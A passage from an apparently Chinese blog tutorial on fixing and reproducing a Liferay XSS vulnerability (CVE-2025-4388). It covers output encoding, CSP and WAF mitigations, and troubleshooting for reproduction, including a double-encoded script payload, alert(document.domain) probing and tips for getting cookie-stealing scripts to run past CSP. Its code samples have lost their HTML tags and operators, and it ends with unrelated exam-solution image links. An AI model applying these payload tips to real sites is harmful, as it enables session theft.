Commons Lang的StringEscapeUtils.escapeHtml4(text)。这将把转义为lt;转义为gt;转义为amp;转义为quot;。// 修复前漏洞代码 String userName request.getParameter(name); out.print(h2菜单: userName /h2); // 修复后 String userName request.getParameter(name); out.print(h2菜单: HtmlUtil.escape(userName) /h2);HTML属性上下文如果用户输入要放入HTML属性值如value[input]除了HTML实体编码还需要对引号进行编码。最好始终用引号包裹属性值。JavaScript上下文如果数据要放入script标签内或事件处理程序中如onclick...[input]...情况更复杂。需要先进行JavaScript字符串编码然后再进行HTML编码。建议避免将用户输入直接放入JavaScript上下文而是通过DOM API来安全地操作。URL上下文如果用户输入要作为URL的一部分如href[input]必须进行URL编码URLEncoder.encode(input, UTF-8)并严格验证协议只允许http://,https://,mailto:等。6.2 Liferay框架层面的安全实践作为Liferay开发者或管理员还应采取以下措施及时更新密切关注Liferay官方安全公告及时应用安全补丁或升级到已修复的版本。这是最直接有效的防御手段。启用CSP内容安全策略是一种强大的深度防御机制。通过HTTP头Content-Security-Policy可以告诉浏览器只允许执行来自特定来源的脚本从而有效遏制XSS攻击即使漏洞存在恶意脚本也无法执行。Liferay支持配置CSP。输入验证在服务端对用户输入进行严格的类型、格式、长度和业务规则验证。虽然不能替代输出编码但可以作为第一道防线。使用安全库优先使用Liferay提供的安全工具类如HtmlUtil,Validator等而不是自己手写字符串处理逻辑。安全编码培训对开发团队进行定期的安全编码培训将“输出编码”作为代码审查的必查项。6.3 运维与管理员视角的缓解措施如果你是一名Liferay系统管理员在等待开发团队修复或打补丁期间可以部署WAF在Liferay前端部署Web应用防火墙可以配置规则来拦截常见的XSS攻击Payload。审计日志启用并定期审查Liferay的访问日志和安全日志关注异常的、包含大量特殊字符的请求。用户教育提醒内部用户不要点击来源不明的链接特别是要求重新登录或包含奇怪参数的链接。7. 复现过程中的常见问题与排查技巧在复现这类漏洞时你几乎一定会遇到各种“意外”。下面是我总结的一些常见问题和解决方法。7.1 问题一Payload提交后页面没有变化源代码里也找不到可能原因1前端验证。浏览器或Liferay的前端JavaScript可能在提交前对输入进行了过滤或拦截。排查使用Burp Suite直接发送原始的POST请求绕过浏览器。如果Burp发送成功且漏洞存在说明问题在前端。可以尝试修改请求的Content-Type或禁用页面的JavaScript来辅助测试。可能原因2输出点不在当前页面。Payload可能被保存到数据库然后在另一个页面如列表页、详情页显示。排查提交Payload后不要只看确认页。去相关的功能模块列表、查看页面仔细检查源代码。使用Burp的Search功能在所有历史响应中搜索你的Payload关键字。可能原因3编码问题。服务器可能对输入进行了某种编码转换导致Payload变形。排查在响应中搜索Payload的“变体”比如被URL解码后的样子或者被部分转义后的样子。尝试对Payload进行双重编码如%253Cscript%253E进行测试。7.2 问题二alert(1)可以弹窗但复杂的窃取Cookie的Payload不执行可能原因1CSP策略阻止。浏览器控制台Console可能会报错“Refused to load the script from ‘http://...‘ because it violates the following Content Security Policy directive”。排查检查HTTP响应头中的Content-Security-Policy。如果存在说明CSP已启用。你需要调整Payload使其符合CSP规则或者寻找可以绕过CSP的向量这通常更难。在复现环境中可以尝试临时禁用CSP进行验证。可能原因2脚本语法错误或执行时机不对。复杂的JavaScript可能在当前页面上下文中执行报错。排查简化Payload先用alert(document.domain)测试脚本能否访问DOM。然后逐步增加复杂度。将窃取Cookie的代码封装在一个立即执行函数中确保其独立性。7.3 问题三复现环境搭建失败或启动异常可能原因1端口冲突。8080或11311端口已被占用。排查使用netstat -ano | findstr :8080Windows或lsof -i:8080Linux/Mac查看占用进程并终止或修改Docker映射端口。可能原因2内存不足。Liferay启动需要较多内存。排查为Docker分配更多内存在Docker Desktop设置中或使用docker run -m 4g ...限制容器内存。查看启动日志是否有OutOfMemoryError。可能原因3镜像拉取失败或版本不对。排查确认Docker Hub上是否存在指定标签的镜像。可以尝试拉取更通用或更早的版本如liferay/portal:7.4.2-ga3。7.4 问题四Burp Suite抓不到本地流量排查确保浏览器代理正确设置为127.0.0.1:8080Burp默认监听端口。对于localhost的流量有些浏览器会绕过代理。可以尝试使用本机IP地址如http://192.168.1.100:8080来访问Liferay。此外确保Burp的CA证书已安装并受浏览器信任。手动复现一个像CVE-2025-4388这样的漏洞远比运行一个自动化报告更有价值。这个过程强迫你去理解应用的逻辑、数据的流向以及安全机制在哪里失效。每一次失败的尝试和最终的突破都会加深你对“输入输出”这一安全核心原则的认识。对于开发者而言这次复现是一次生动的安全教育让你亲眼看到一行未经验证的代码可能带来的连锁反应对于安全人员这是一次宝贵的实战训练锻炼了你从模糊的CVE描述到具体攻击链的还原能力。记住所有技术都应在法律和道德框架内使用我们的目标是构建更安全的数字世界。
![华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)
![华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)
